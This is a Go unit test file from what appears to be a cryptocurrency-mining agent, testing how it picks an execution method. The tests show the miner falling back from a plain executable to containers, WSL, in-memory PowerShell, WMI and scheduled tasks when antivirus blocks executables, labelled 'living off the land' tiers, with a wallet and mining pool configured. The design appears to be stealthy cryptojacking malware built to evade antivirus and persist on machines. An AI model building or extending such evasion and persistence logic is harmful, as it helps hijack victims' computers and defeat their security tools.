package miner

import (
	"runtime"
	"testing"

	"crypto-miner-agent/config"
)

func baseProbes() EnvironmentProbes {
	return EnvironmentProbes{
		Docker:     true,
		WSL:        true,
		PowerShell: true,
		DotNet:     true,
		GPU:        true,
		WebView2:   true,
	}
}

func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
	b := config.BuiltinConfig{
		MinerExecution: ExecutionAuto,
		PoolHost:       "pool.example.com",
		Wallet:         "test-cmr-wallet",
	}
	if overrides.MinerExecution != "" {
		b.MinerExecution = overrides.MinerExecution
	}
	if overrides.PoolHost != "" {
		b.PoolHost = overrides.PoolHost
	}
	if overrides.Wallet != "" {
		b.Wallet = overrides.Wallet
	}
	if overrides.GPUEnabled {
		b.GPUEnabled = overrides.GPUEnabled
	}
	if overrides.RVNWallet != "" {
		b.RVNWallet = overrides.RVNWallet
	}
	return config.RuntimeConfig{BuiltinConfig: b}
}

func chainContains(chain []LOTLTier, tier LOTLTier) bool {
	for _, t := range chain {
		if t == tier {
			return true
		}
	}
	return false
}

func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
	chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
		GPUEnabled: true,
		RVNWallet:  "rvn-wallet",
	}))
	if chain[0] != TierExeSubprocess {
		t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
	}
	if !chainContains(skipped, TierDockerLoad) {
		t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
	}
	for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
		if !chainContains(chain, tier) {
			t.Fatalf("missing %q in chain=%v", tier, chain)
		}
	}
	if runtime.GOOS == "windows" {
		for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
			if !chainContains(chain, tier) {
				t.Fatalf("windows chain missing %q: %v", tier, chain)
			}
		}
	}
}

func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
	probes := baseProbes()
	probes.AVBlocksExe = true
	chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
	if chain[0] != TierContainer {
		t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
	}
	if !chainContains(skipped, TierExeSubprocess) {
		t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
	}
}

func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
	probes := baseProbes()
	probes.Docker = false
	probes.AVBlocksExe = true
	chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
	if chain[0] != TierWSL {
		t.Fatalf("no docker should try WSL next, got %v", chain)
	}
	if !chainContains(skipped, TierContainer) {
		t.Fatalf("expected container skipped, got %v", skipped)
	}
}

func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
	probes := baseProbes()
	probes.Docker = false
	probes.WSL = false
	probes.AVBlocksExe = true
	chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
	if chain[0] != TierPSInMemory {
		t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
	}
}

func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
	probes := baseProbes()
	probes.GPU = false
	chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
		GPUEnabled: true,
		RVNWallet:  "wallet",
	}))
	if chainContains(chain, TierGPUSubprocess) {
		t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
	}
	if !chainContains(skipped, TierGPUSubprocess) {
		t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
	}
}

func TestSelectMiningTierChainInProcessMode(t *testing.T) {
	chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
		MinerExecution: ExecutionInProcess,
	}))
	if chain[0] != TierCPUInprocess {
		t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
	}
	if !chainContains(chain, TierStratumDirect) {
		t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
	}
}

func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
	policy := MiningTierPolicy{
		TierOrder: DefaultTierOrder,
		SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
	}
	chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
	if chain[0] != TierContainer {
		t.Fatalf("server skip should start at container, got %v", chain)
	}
}

func TestSelectMiningTierChainForceTier(t *testing.T) {
	policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
	chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
	if len(chain) != 1 || chain[0] != TierCPUInprocess {
		t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
	}
}

func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
	probes := EnvironmentProbes{
		Docker:     false,
		WSL:        false,
		PowerShell: false,
		DotNet:     false,
	}
	policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
	o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
		StartInProcess: func() error { return nil },
	}, nil)

	tier, err := o.TryChain(t.Context())
	if err != nil {
		t.Fatalf("TryChain: %v", err)
	}
	if tier != TierCPUInprocess {
		t.Fatalf("active=%q want cpu_inprocess", tier)
	}
	report := o.Report()
	var exeAttempt, cpuAttempt *TierAttempt
	for i := range report.Attempts {
		switch report.Attempts[i].Tier {
		case TierExeSubprocess:
			exeAttempt = &report.Attempts[i]
		case TierCPUInprocess:
			cpuAttempt = &report.Attempts[i]
		}
	}
	if exeAttempt == nil || cpuAttempt == nil {
		t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
	}
	if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
		t.Fatalf("wallet must be identical: %v", report.Attempts)
	}
	if exeAttempt.OK {
		t.Fatalf("stub tier should fail: %v", *exeAttempt)
	}
}